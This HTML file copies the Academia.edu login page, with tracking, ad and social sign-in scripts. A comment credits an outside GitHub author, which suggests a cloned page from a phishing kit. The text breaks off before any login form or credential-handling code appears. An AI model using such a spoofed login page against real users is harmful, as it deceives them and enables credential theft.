index.html 35 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804
  1. <!DOCTYPE html>
  2. <!-- Creatred by https://github.com/makdosx -->
  3. <html lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" class="wf-loading">
  4. <head prefix="og: https://ogp.me/ns#
  5. fb: https://ogp.me/ns/fb#
  6. academia: https://ogp.me/ns/fb/academia#">
  7. <meta charset="utf-8">
  8. <meta name=viewport content="width=device-width">
  9. <meta rel="search"
  10. type="application/opensearchdescription+xml"
  11. href="/open_search.xml"
  12. title="Academia.edu">
  13. <title>Academia.edu | Log In</title>
  14. <!-- _ _ _
  15. | | (_) | |
  16. __ _ ___ __ _ __| | ___ _ __ ___ _ __ _ ___ __| |_ _
  17. / _` |/ __/ _` |/ _` |/ _ \ '_ ` _ \| |/ _` | / _ \/ _` | | | |
  18. | (_| | (_| (_| | (_| | __/ | | | | | | (_| || __/ (_| | |_| |
  19. \__,_|\___\__,_|\__,_|\___|_| |_| |_|_|\__,_(_)___|\__,_|\__,_|
  20. We're hiring! See https://www.academia.edu/hiring -->
  21. <link href="//a.academia-assets.com/images/favicons/favicon-production.ico" rel="shortcut icon" type="image/vnd.microsoft.icon">
  22. <link rel="apple-touch-icon" sizes="57x57" href="//a.academia-assets.com/images/favicons/apple-touch-icon-57x57.png">
  23. <link rel="apple-touch-icon" sizes="60x60" href="//a.academia-assets.com/images/favicons/apple-touch-icon-60x60.png">
  24. <link rel="apple-touch-icon" sizes="72x72" href="//a.academia-assets.com/images/favicons/apple-touch-icon-72x72.png">
  25. <link rel="apple-touch-icon" sizes="76x76" href="//a.academia-assets.com/images/favicons/apple-touch-icon-76x76.png">
  26. <link rel="apple-touch-icon" sizes="114x114" href="//a.academia-assets.com/images/favicons/apple-touch-icon-114x114.png">
  27. <link rel="apple-touch-icon" sizes="120x120" href="//a.academia-assets.com/images/favicons/apple-touch-icon-120x120.png">
  28. <link rel="apple-touch-icon" sizes="144x144" href="//a.academia-assets.com/images/favicons/apple-touch-icon-144x144.png">
  29. <link rel="apple-touch-icon" sizes="152x152" href="//a.academia-assets.com/images/favicons/apple-touch-icon-152x152.png">
  30. <link rel="apple-touch-icon" sizes="180x180" href="//a.academia-assets.com/images/favicons/apple-touch-icon-180x180.png">
  31. <link rel="icon" type="image/png" href="//a.academia-assets.com/images/favicons/favicon-32x32.png" sizes="32x32">
  32. <link rel="icon" type="image/png" href="//a.academia-assets.com/images/favicons/favicon-194x194.png" sizes="194x194">
  33. <link rel="icon" type="image/png" href="//a.academia-assets.com/images/favicons/favicon-96x96.png" sizes="96x96">
  34. <link rel="icon" type="image/png" href="//a.academia-assets.com/images/favicons/android-chrome-192x192.png" sizes="192x192">
  35. <link rel="icon" type="image/png" href="//a.academia-assets.com/images/favicons/favicon-16x16.png" sizes="16x16">
  36. <link rel="manifest" href="//a.academia-assets.com/images/favicons/manifest.json">
  37. <meta name="msapplication-TileColor" content="#2b5797">
  38. <meta name="msapplication-TileImage" content="//a.academia-assets.com/images/favicons/mstile-144x144.png">
  39. <meta name="theme-color" content="#ffffff">
  40. <script>
  41. window.performance &&
  42. window.performance.measure &&
  43. window.performance.measure("Time To First Byte", "requestStart", "responseStart");
  44. </script>
  45. <script>
  46. (function() {
  47. if (!window.URLSearchParams || !window.history || !window.history.replaceState) {
  48. return;
  49. }
  50. var searchParams = new URLSearchParams(window.location.search);
  51. var paramsToDelete = [
  52. 'fs',
  53. 'sm',
  54. 'swp',
  55. 'iid',
  56. 'nbs',
  57. 'rcc', // related content category
  58. 'rcpos', // related content carousel position
  59. 'rcpg', // related carousel page
  60. 'rchid', // related content hit id
  61. 'f_ri', // research interest id, for SEO tracking
  62. 'f_fri', // featured research interest, for SEO tracking (param key without value)
  63. 'f_rid', // from research interest directory for SEO tracking
  64. ];
  65. if (paramsToDelete.every((key) => searchParams.get(key) === null)) {
  66. return;
  67. }
  68. paramsToDelete.forEach((key) => {
  69. searchParams.delete(key);
  70. });
  71. var cleanUrl = new URL(window.location.href);
  72. cleanUrl.search = searchParams.toString();
  73. history.replaceState({}, document.title, cleanUrl);
  74. })();
  75. </script>
  76. <script type="text/javascript">
  77. (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
  78. (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
  79. m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
  80. })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
  81. ga('create', {
  82. trackingId: 'UA-2111171-1',
  83. cookieDomain: 'academia.edu',
  84. });
  85. ga('set', 'dimension1', "sessions");
  86. ga('set', 'dimension2', "new");
  87. ga('set', 'dimension6', 'sessions#new');
  88. ga('set', 'dimension3', 'false');
  89. ga('set', 'dimension5', 'unknown');
  90. ga('send', 'pageview');
  91. </script>
  92. <script type="text/javascript">
  93. window.sendUserTiming = function(timingName) {
  94. if (!(window.performance && window.performance.measure)) return;
  95. var entries = window.performance.getEntriesByName(timingName, "measure");
  96. if (entries.length !== 1) return;
  97. var timingValue = Math.round(entries[0].duration);
  98. ga('send', {
  99. hitType: 'timing',
  100. timingCategory: 'User-centric',
  101. timingVar: timingName,
  102. timingValue: timingValue,
  103. });
  104. if (window.newsFeedStats) {
  105. // e.g. 'Time To Interactive' -> 'tti'
  106. var shortTimingName = timingName.toLowerCase().split(' ').map(function (word) {
  107. return word[0];
  108. }).join('');
  109. window.newsFeedStats[shortTimingName] = timingValue;
  110. }
  111. };
  112. window.sendUserTiming("Time To First Byte");
  113. </script>
  114. <meta name="csrf-param" content="authenticity_token" />
  115. <meta name="csrf-token" content="Pk/HIh1C52ktZ31U28C6Cf2CLNgVkBwstXl8MAX7XLkW2/K67dktfnlq/OncKO82BB8lftKryaUYNyKSFk/gtw==" />
  116. <meta name="description" content="Academia.edu is a place to share and follow research." />
  117. <meta name="google-site-verification" content="bKJMBZA7E43xhDOopFZkssMMkBRjvYERV-NaN4R6mrs" />
  118. <script>
  119. var $controller_name = 'sessions';
  120. var $action_name = "new";
  121. var $rails_env = 'production';
  122. var $app_rev = '48b71710e65516359483c6f33670f4cf51c6ba8e';
  123. var $domain = 'academia.edu';
  124. var $app_host = "academia.edu";
  125. var $asset_host = "academia-assets.com";
  126. var $start_time = new Date().getTime();
  127. var $recaptcha_key = "6LdxlRMTAAAAADnu_zyLhLg0YF9uACwz78shpjJB";
  128. var $recaptcha_invisible_key = "6Lf3KHUUAAAAACggoMpmGJdQDtiyrjVlvGJ6BbAj";
  129. </script>
  130. <script>
  131. window.Aedu = { hit_data: null };
  132. window.Aedu.SiteStats = {"premium_universities_count":16946,"monthly_visitors":"103 million","monthly_visitor_count":103894500,"monthly_visitor_count_in_millions":103,"user_count":188163061,"paper_count":36526928,"paper_count_in_millions":36,"page_count":432000000,"page_count_in_millions":432,"pdf_count":16500000,"pdf_count_in_millions":16};
  133. window.Aedu.serverRenderTime = new Date(1659046372000);
  134. window.Aedu.isUsingCssV1 = false;
  135. window.Aedu.enableLocalization = true;
  136. window.Aedu.activateFullstory = false;
  137. window.Aedu.serviceAvailability = {
  138. status: {"redshift":"on","attention_db":"on","bibliography_db":"on","contacts_db":"on","email_db":"on","news_db":"on","notifications_db":"on","mentions_db":"on","errors_redis":"on"},
  139. serviceEnabled: function(service) {
  140. return this.status[service] === "on";
  141. },
  142. readEnabled: function(service) {
  143. return this.serviceEnabled(service) || this.status[service] === "read_only";
  144. },
  145. };
  146. </script>
  147. <!--[if lt IE 9]>
  148. <script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.2/html5shiv.min.js"></script>
  149. <![endif]-->
  150. <link href="https://fonts.googleapis.com/css?family=Roboto:100,100i,300,300i,400,400i,500,500i,700,700i,900,900i" rel="stylesheet">
  151. <link href="//maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet">
  152. <link rel="stylesheet" media="all" href="//a.academia-assets.com/assets/libraries-f6da9185479373b0a797959f16e3f33ba9d94f863cde79d2a3a13b88284d6e4f.css" />
  153. <link rel="stylesheet" media="all" href="//a.academia-assets.com/assets/academia-9ceee33a4bd951a384ebf5535a9dd648430bd8437a88fad54e7ec9aff60198d6.css" />
  154. <link rel="stylesheet" media="all" href="//a.academia-assets.com/assets/design_system-c1409547c5f89dcca07f1428929406eacfe756a7e32a18749e8c967e783dccfd.css" />
  155. <script src="//a.academia-assets.com/assets/webpack_bundles/runtime-bundle-85e165765ce1adf0cec7ea78829eef6dcd87b26bc4da5c258ced5b5e731c7a2b.js"></script>
  156. <script src="//a.academia-assets.com/assets/webpack_bundles/webpack_libraries_and_infrequently_changed.wjs-bundle-eb7ba2521c1499cecfeb81b9d3d7c7fdb8104097dc698bfd8f43ce91e85b9778.js"></script>
  157. <script src="//a.academia-assets.com/assets/webpack_bundles/core_webpack.wjs-bundle-cbdcd2570846072a8dfbbcdfe8b9a83d7c1df117eb2572d7c3c2a5bd0204de82.js"></script>
  158. <!--[if lt IE 10]>
  159. <script src="//a.academia-assets.com/assets/ie9_polyfills-ccb518f0850bf8f4a890a1be8d6c94fae535ed9d8e753c88bd1b054d85c96929.js"></script>
  160. <![endif]-->
  161. <script src="//a.academia-assets.com/assets/webpack_bundles/sentry.wjs-bundle-6af2aa5d927872325a616b8c20030c30d52ce7fa41fe1ae04c4a923c3efd3a1d.js"></script>
  162. <script>
  163. jade = window.jade || {};
  164. jade.split = window.Aedu.Split;
  165. jade.helpers = window.$h;
  166. jade._ = window._;
  167. </script>
  168. <!-- Google Tag Manager -->
  169. <script id="tag-manager-head-root">(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
  170. new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
  171. j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
  172. 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
  173. })(window,document,'script','dataLayer','GTM-5G9JF7Z');</script>
  174. <!-- End Google Tag Manager -->
  175. <script>
  176. var gptadslots = [];
  177. var googletag = googletag || {cmd:[]};
  178. </script>
  179. <script type="text/javascript">
  180. // TODO(jacob): This should be defined, may be rare load order problem.
  181. // Checking if null is just a quick fix, will default to en if unset.
  182. // Better fix is to run this immedietely after I18n is set.
  183. if (window.I18n != null) {
  184. I18n.defaultLocale = "en";
  185. I18n.locale = "en";
  186. I18n.fallbacks = true;
  187. }
  188. </script>
  189. <script>(function() {
  190. !function(a9,a,p,s,t,A,g){if(a[a9])return;function q(c,r){a[a9]._Q.push([c,r])}a[a9]={init:function(){q("i",arguments)},fetchBids:function(){q("f",arguments)},setDisplayBids:function(){},targetingKeys:function(){return[]},_Q:[]};A=p.createElement(s);A.async=!0;A.src=t;g=p.getElementsByTagName(s)[0];g.parentNode.insertBefore(A,g)}("apstag",window,document,"script","//c.amazon-adsystem.com/aax2/apstag.js");
  191. apstag.init({
  192. pubID: '4d038c72-2f66-4647-8cf6-cf9cfa4b1ac7',
  193. adServer: 'googletag'
  194. });
  195. var controller = 'sessions';
  196. var logged_in = '' !== '';
  197. var slots = [];
  198. switch (controller) {
  199. case 'analytics_dashboard':
  200. slots = [{
  201. slotID: 'div-gpt-ad-4397870-18',
  202. slotName: '65327593/Academia/Analytics',
  203. sizes: [[970,90],[970,250],[728,90]]
  204. }];
  205. break;
  206. case 'departments':
  207. slots = [{
  208. slotID: 'div-gpt-ad-4397870-19',
  209. slotName: '65327593/Academia/Tags',
  210. sizes: [[300,600],[300,250],[160,600]]
  211. }];
  212. break;
  213. case 'works':
  214. if (logged_in) {
  215. slots = [{
  216. slotID: 'div-gpt-ad-4397870-13',
  217. slotName: '65327593/Academia/Profile_LoggedIn',
  218. sizes: [[300,600],[300,250],[160,600]]
  219. }];
  220. } else {
  221. slots = [{
  222. slotID: 'div-gpt-ad-4397870-11',
  223. slotName: '65327593/Academia/Profile_LoggedOut',
  224. sizes: [[300,600],[300,250],[160,600]]
  225. }];
  226. }
  227. break;
  228. case 'single_work':
  229. if (logged_in) {
  230. slots = [{
  231. slotID: 'div-gpt-ad-4397870-1',
  232. slotName: '65327593/Academia/Swp_LoggedIn',
  233. sizes: [[300,250]]
  234. },{
  235. slotID: 'div-gpt-ad-4397870-3-2',
  236. slotName: '65327593/Academia/Swp_LoggedIn',
  237. sizes: [[728,90]]
  238. }];
  239. } else {
  240. slots = [{
  241. slotID: 'div-gpt-ad-4397870-8-2',
  242. slotName: '65327593/Academia/Swp_LoggedOut',
  243. sizes: [[728,90]]
  244. }];
  245. }
  246. break;
  247. case 'by_tag':
  248. slots = [{
  249. slotID: 'div-gpt-ad-4397870-19',
  250. slotName: '65327593/Academia/Tags',
  251. sizes: [[300,600],[300,250],[160,600]]
  252. }];
  253. break;
  254. case 'universities':
  255. slots = [{
  256. slotID: 'div-gpt-ad-4397870-21',
  257. slotName: '65327593/Academia/Universities',
  258. sizes: [[300,600],[300,250],[160,600]]
  259. }];
  260. break;
  261. case 'news':
  262. slots = [{
  263. slotID: 'div-gpt-ad-4397870-16',
  264. slotName: '65327593/Academia/Newsfeed',
  265. sizes: [[300,600],[160,600],[300,250]]
  266. }];
  267. break;
  268. }
  269. if (!slots.length) {
  270. // If you proceed without any slots, you'll get this error in
  271. // the console: "Error: No slots provided to apstag.fetchBids"
  272. return;
  273. }
  274. apstag.fetchBids({
  275. slots: slots,
  276. timeout: 2e3
  277. }, function(bids) {
  278. // set apstag targeting on googletag, then trigger the first DFP request in googletag's disableInitialLoad integration
  279. googletag.cmd.push(function(){
  280. apstag.setDisplayBids();
  281. });
  282. });
  283. })()</script>
  284. <script src="https://fdyn.pubwise.io/script/fbb5f41d-df80-4a62-9b42-d0589d7d0b19/v3/dyn/pre_pws.js" type="text/javascript"></script><script async="" src="https://fdyn.pubwise.io/script/fbb5f41d-df80-4a62-9b42-d0589d7d0b19/v3/dyn/pws.js" type="text/javascript"></script><script>(function() {
  285. var gads = document.createElement('script');
  286. gads.async = true;
  287. gads.type = 'text/javascript';
  288. var useSSL = 'https:' == document.location.protocol;
  289. gads.src = (useSSL ? 'https:' : 'http:') +
  290. '//www.googletagservices.com/tag/js/gpt.js';
  291. var node = document.getElementsByTagName('script')[0];
  292. node.parentNode.insertBefore(gads, node);
  293. })();
  294. (function() {
  295. function defineGoogleAdsHelpers() {
  296. var mapping1 = googletag.sizeMapping()
  297. .addSize([1024, 500], [[728, 90]])
  298. .addSize([768, 400], [[728, 90]])
  299. .addSize([470, 400], [[320, 100], [320, 50]])
  300. .addSize([360, 400], [[320, 100], [320, 50]])
  301. .addSize([0, 0], [[320, 100], [320, 50]])
  302. .build();
  303. var mapping2 = googletag.sizeMapping()
  304. .addSize([1024, 500], [[728, 90]])
  305. .addSize([768, 400], [[728, 90]])
  306. .addSize([0, 0], [])
  307. .build();
  308. var mapping3 = googletag.sizeMapping()
  309. .addSize([1024, 500], [[728, 90]])
  310. .addSize([768, 400], [[728, 90]])
  311. .addSize([470, 400], [[320, 100], [320, 50], [300, 250]])
  312. .addSize([360, 400], [[320, 100], [320, 50], [300, 250]])
  313. .addSize([0, 0], [[320, 100], [320, 50], [300, 250]])
  314. .build();
  315. var mapping4 = googletag.sizeMapping()
  316. .addSize([1024, 500], [[300, 250], [300, 600], [160, 600]])
  317. .addSize([768, 400], [])
  318. .addSize([470, 400], [])
  319. .addSize([360, 400], [])
  320. .addSize([0, 0], [])
  321. .build();
  322. var inlineParamsByLabel = {
  323. Swp_LoggedIn_Rail1: [2, [[300,250]]],
  324. Swp_LoggedIn: [3, [[728,90]], mapping3],
  325. Swp_LoggedOut_Rail: [7, [[300,250]], mapping4],
  326. Swp_LoggedOut: [8, [[728,90]], mapping3],
  327. Profile_LoggedOut: [12, [[728,90]], mapping1],
  328. SearchResults: [15, [[728,90]], mapping1],
  329. Newsfeed: [17, [[728,90]], mapping1],
  330. Swp_LoggedIn_Rail2: [22, [[300,250]]],
  331. Swp_LoggedIn_Rail3: [23, [[300,250],[300,600],[160,600]]],
  332. };
  333. window.$GoogleAds = {
  334. divIdPrefix: function() {
  335. return "div-gpt-ad-4397870-";
  336. },
  337. defineSlot: function(label, targeting, suffix, sizes, sizeMapping) {
  338. var id = $GoogleAds.divIdPrefix() + suffix;
  339. if (label === '') {
  340. Sentry.captureMessage("No label given for ad slot: " + window.location.href);
  341. }
  342. var slot = googletag.defineSlot('/65327593/Academia/' + label, sizes, id);
  343. //Using this for refreshing slots if we have disable inital load on.
  344. $GoogleAds.slotDefByLabel[id] = slot;
  345. if(targeting) {
  346. slot = slot.setTargeting('POS', [targeting]);
  347. }
  348. if(sizeMapping) {
  349. slot = slot.defineSizeMapping(sizeMapping);
  350. }
  351. slot.addService(googletag.pubads());
  352. gptadslots.push(slot);
  353. return {slot: slot, id: id};
  354. },
  355. defineInlineSlot: function(label, suffix, keyword_params) {
  356. if (keyword_params === undefined) {
  357. keyword_params = {};
  358. }
  359. var params = inlineParamsByLabel[label];
  360. // There are 2 use cases hidden here
  361. // 1) defineInlineSlot called from JS
  362. // 2) defineInlineSlot called from slim templated rendered in ruby (the dfp_inline_slot_definition partial)
  363. // In the first case, we want to automatically keep track of the last created div id and increment it
  364. // In the latter case, we trust the ruby code to do the div id accounting
  365. if(!suffix) {
  366. $GoogleAds.inlineIndexByLabel[label] = $GoogleAds.inlineIndexByLabel[label] || 1;
  367. var suffix = params[0] + "-" + $GoogleAds.inlineIndexByLabel[label];
  368. $GoogleAds.inlineIndexByLabel[label] += 1;
  369. }
  370. var index = $GoogleAds.inlineIndexByLabel[label];
  371. var position_label = "Inline";
  372. if (keyword_params && keyword_params['index']) {
  373. index = keyword_params['index'];
  374. }
  375. if (keyword_params && keyword_params['position_label']) {
  376. position_label = keyword_params['position_label'];
  377. }
  378. var slotDef = $GoogleAds.defineSlot(label, position_label + index, suffix, params[1], params[2]);
  379. $GoogleAds.inlineSlotDefsByLabel[label] = $GoogleAds.inlineSlotDefsByLabel[label] || [];
  380. $GoogleAds.inlineSlotDefsByLabel[label].push(slotDef);
  381. return slotDef;
  382. },
  383. latestInlineSlotDef: function(label) {
  384. var slotDefs = $GoogleAds.inlineSlotDefsByLabel[label];
  385. if(slotDefs == null) return;
  386. return slotDefs[slotDefs.length - 1];
  387. },
  388. renderForPlatform: function(dfp_slot_id, desktopOnly, mobileOnly) {
  389. // The Only flags both default to false.
  390. // If both are set to true, we'll show nothing.
  391. var shouldShowMobile = !desktopOnly && $a.is_mobile();
  392. var shouldShowDesktop = !mobileOnly && !$a.is_mobile();
  393. var shouldShow = shouldShowMobile || shouldShowDesktop;
  394. if(shouldShow) {
  395. if(typeof(pubwise) != 'undefined' && pubwise.enabled === true) {
  396. pbjs.que.push(function() {
  397. performPubWiseLoad([$GoogleAds.slotDefByLabel[dfp_slot_id]],true);
  398. });
  399. } else {
  400. googletag.display(dfp_slot_id);
  401. googletag.pubads().refresh([$GoogleAds.slotDefByLabel[dfp_slot_id]]);
  402. }
  403. }
  404. },
  405. refreshAds: function (slots) {
  406. if(typeof(pubwise) != 'undefined' && pubwise.enabled) {
  407. pbjs.que.push(function() {
  408. performPubWiseLoad(slots,false);
  409. });
  410. } else {
  411. googletag.pubads().refresh(slots)
  412. }
  413. },
  414. mapping1: mapping1,
  415. mapping2: mapping2,
  416. inlineIndexByLabel: {},
  417. inlineSlotDefsByLabel: {},
  418. slotDefByLabel: {}
  419. }
  420. };
  421. googletag.cmd.push(function() {
  422. defineGoogleAdsHelpers()
  423. var defineSlot = $GoogleAds.defineSlot
  424. var defineInlineSlot = $GoogleAds.defineInlineSlot
  425. var mapping1 = $GoogleAds.mapping1
  426. var mapping2 = $GoogleAds.mapping2
  427. // Checking which page we are on because Google doesn't like slots getting defined that aren't
  428. // actually being served on the page
  429. var controller = 'sessions';
  430. var logged_in = false;
  431. if ((controller === 'single_work') && logged_in) {
  432. defineSlot('Swp_LoggedIn', 'RightRail1', 1, [[300, 250]])
  433. defineInlineSlot('Swp_LoggedIn_Rail1')
  434. defineInlineSlot('Swp_LoggedIn_Rail2')
  435. defineInlineSlot('Swp_LoggedIn_Rail3')
  436. defineInlineSlot('Swp_LoggedIn')
  437. defineSlot('Swp_LoggedIn_Overpass', null, 4, [[1, 1]])
  438. } else if ((controller === 'single_work') && !logged_in) {
  439. defineSlot('Swp_LoggedOut', 'Top', 5, [[728, 90]], mapping2)
  440. defineSlot('Swp_LoggedOut', 'RightRail1', 6, [[300, 600], [300, 250], [160, 600]])
  441. defineInlineSlot('Swp_LoggedOut_Rail')
  442. defineInlineSlot('Swp_LoggedOut')
  443. defineSlot('Swp_LoggedOut_Overpass', null, 9, [[1, 1]])
  444. } else if ((controller === 'works') && !logged_in) {
  445. defineSlot('Profile_LoggedOut', 'Top', 10, [[970, 250], [970, 90], [728, 90]], mapping1)
  446. defineSlot('Profile_LoggedOut', 'RightRail1', 11, [[300, 600], [300, 250], [160, 600]])
  447. defineInlineSlot('Profile_LoggedOut')
  448. } else if ((controller === 'works') && logged_in) {
  449. defineSlot('Profile_LoggedIn', 'RightRail1', 13, [[300, 250], [300, 600], [160, 600]])
  450. defineSlot('Profile_LoggedIn', 'Bottom', 14, [[728, 90]], mapping1)
  451. } else {
  452. defineInlineSlot('SearchResults')
  453. defineSlot('Newsfeed', 'RightRail1', 16, [[300, 600], [300, 250], [160, 600]])
  454. defineInlineSlot('Newsfeed')
  455. defineSlot('Analytics', 'Top', 18, [[970, 90], [970, 250], [728, 90]])
  456. defineSlot('Tags', 'RightRail1', 19, [[300, 600], [300, 250], [160, 600]])
  457. defineSlot('Departments', 'RightRail1', 20, [[300, 600], [300, 250], [160, 600]])
  458. defineSlot('Universities', 'RightRail1', 21, [[300, 600], [300, 250], [160, 600]])
  459. }
  460. targeting_data = [["University","null"],["Role/Profession","null"],["FieldOfStudy","null"]];
  461. targeting_data.forEach(data => { googletag.pubads().setTargeting(data[0], data[1]) });
  462. googletag.pubads().setTargeting('Url', window.location.pathname);
  463. googletag.pubads().collapseEmptyDivs();
  464. googletag.pubads().setCentering(true);
  465. googletag.pubads().disableInitialLoad();
  466. // If not on SWP or not on logged out user profile page, enableSingleRequest
  467. // Otherwise use multirequest mode because SWP and logged out user profile has dynamically defined ads
  468. if (!(controller === 'single_work') && !((controller === 'works') && !logged_in)) {
  469. googletag.pubads().enableSingleRequest();
  470. }
  471. googletag.enableServices();
  472. });
  473. })();</script>
  474. <link rel="canonical" href="https://www.academia.edu/login" />
  475. </head>
  476. <!--[if gte IE 9 ]>
  477. <body class='ie ie9 c-sessions a-new logged_out'>
  478. <![endif]-->
  479. <!--[if !(IE) ]><!-->
  480. <body class='c-sessions a-new logged_out'>
  481. <!--<![endif]-->
  482. <div id="fb-root"></div><script>window.fbAsyncInit = function() {
  483. FB.init({
  484. appId: "2369844204",
  485. version: "v8.0",
  486. status: true,
  487. cookie: true,
  488. xfbml: true
  489. });
  490. // Additional initialization code.
  491. if (window.InitFacebook) {
  492. // facebook.ts already loaded, set it up.
  493. window.InitFacebook();
  494. } else {
  495. // Set a flag for facebook.ts to find when it loads.
  496. window.academiaAuthReadyFacebook = true;
  497. }
  498. };</script><script>window.fbAsyncLoad = function() {
  499. // Protection against double calling of this function
  500. if (window.FB) {
  501. return;
  502. }
  503. (function(d, s, id){
  504. var js, fjs = d.getElementsByTagName(s)[0];
  505. if (d.getElementById(id)) {return;}
  506. js = d.createElement(s); js.id = id;
  507. js.src = "//connect.facebook.net/en_US/sdk.js";
  508. fjs.parentNode.insertBefore(js, fjs);
  509. }(document, 'script', 'facebook-jssdk'));
  510. }
  511. if (!window.defer_facebook) {
  512. // Autoload if not deferred
  513. window.fbAsyncLoad();
  514. } else {
  515. // Defer loading by 5 seconds
  516. setTimeout(function() {
  517. window.fbAsyncLoad();
  518. }, 5000);
  519. }</script>
  520. <div id="google-root"></div><script>window.loadGoogle = function() {
  521. if (window.InitGoogle) {
  522. // google.ts already loaded, set it up.
  523. window.InitGoogle("331998490334-rsn3chp12mbkiqhl6e7lu2q0mlbu0f1b");
  524. } else {
  525. // Set a flag for google.ts to use when it loads.
  526. window.GoogleClientID = "331998490334-rsn3chp12mbkiqhl6e7lu2q0mlbu0f1b";
  527. }
  528. };</script><script>window.googleAsyncLoad = function() {
  529. // Protection against double calling of this function
  530. if (window.gapi) {
  531. return;
  532. }
  533. (function(d) {
  534. var js;
  535. var id = 'google-jssdk';
  536. var ref = d.getElementsByTagName('script')[0];
  537. if (d.getElementById(id)) {
  538. return;
  539. }
  540. js = d.createElement('script');
  541. js.id = id;
  542. js.async = true;
  543. js.src = "https://apis.google.com/js/api:client.js?onload=loadGoogle"
  544. ref.parentNode.insertBefore(js, ref);
  545. }(document));
  546. }
  547. if (!window.defer_google) {
  548. // Autoload if not deferred
  549. window.googleAsyncLoad();
  550. } else {
  551. // Defer loading by 5 seconds
  552. setTimeout(function() {
  553. window.googleAsyncLoad();
  554. }, 5000);
  555. }</script>
  556. <div id="tag-manager-body-root">
  557. <!-- Google Tag Manager (noscript) -->
  558. <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-5G9JF7Z"
  559. height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
  560. <!-- End Google Tag Manager (noscript) -->
  561. <!-- Event listeners for analytics -->
  562. <script>
  563. window.addEventListener('load', function() {
  564. if (document.querySelector('input[name="commit"]')) {
  565. document.querySelector('input[name="commit"]').addEventListener('click', function() {
  566. ga('send', 'event', 'button', 'click', 'Log In');
  567. })
  568. }
  569. });
  570. </script>
  571. </div>
  572. <script>var _comscore = _comscore || [];
  573. _comscore.push({ c1: "2", c2: "26766707" });
  574. (function() {
  575. var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true;
  576. s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
  577. el.parentNode.insertBefore(s, el);
  578. })();</script><img src="https://sb.scorecardresearch.com/p?c1=2&amp;c2=26766707&amp;cv=2.0&amp;cj=1" style="position: absolute; visibility: hidden" />
  579. <div class='DesignSystem'>
  580. <a class='u-showOnFocus' href='#site'>
  581. Skip to main content
  582. </a>
  583. </div>
  584. <div id="upgrade_ie_banner" style="display: none;"><p>Academia.edu no longer supports Internet Explorer.</p><p>To browse Academia.edu and the wider internet faster and more securely, please take a few seconds to&nbsp;<a href="https://www.academia.edu/upgrade-browser">upgrade your browser</a>.</p></div><script>// Show this banner for all versions of IE
  585. if (!!window.MSInputMethodContext || /(MSIE)/.test(navigator.userAgent)) {
  586. document.getElementById('upgrade_ie_banner').style.display = 'block';
  587. }</script>
  588. <div class="DesignSystem"></div>
  589. <div id='site' class='fixed'>
  590. <div id="content" class="clearfix">
  591. <style type="text/css">/*
  592. remove after when moving to new layout
  593. uses the flash[:error] message in a different spot in the dom
  594. */
  595. .error_banner {
  596. display: none;
  597. }
  598. body {
  599. background-color: white;
  600. }
  601. .Content {
  602. max-width: 530px;
  603. }</style><div class="DesignSystem"><div class="container u-mt20x"><div class="row"><div class="col-xs-12 col-sm-10 col-sm-offset-1 col-md-6 col-md-offset-3"><div class="Content center-block"><div class="u-taCenter"><img class="Logo" onerror="this.src=&#39;//a.academia-assets.com/images/academia-logo-redesign-2015.png&#39;" style="width: 178px; height: 22px;" src="//a.academia-assets.com/assets/academia-logo-redesign-2015-45ae31566d1421084023fae986d81b06469982455d4be698a5226a904e7836a9.svg" /></div><div class="row u-mt2x"><div class="col-sm-6"><button class="Button Button--facebook Button--lg Button--block u-p0x u-ph2x u-mv6x u-taLeft" id="login-facebook-oauth-button" style="display: flex; align-items: center;"><img class="u-positionRelative u-pr4x" src="//a.academia-assets.com/images/facebook/facebook-color.svg" style="top:-2px;" /><span class="u-fs11" style="white-space: normal; line-height: normal;">Log in with Facebook</span></button></div><div class="col-sm-6"><button class="Button Button--google Button--lg Button--block u-p0x u-pl2x u-pr4x u-mv6x u-taLeft" id="login-google-oauth-button" style="display: flex; align-items: center;"><img class="u-positionRelative u-pr4x" src="//a.academia-assets.com/images/google/google-color.svg" style="top:-2px;" /><span class="u-fs11" style="white-space: normal; line-height: normal;">Log in with Google</span></button></div><div 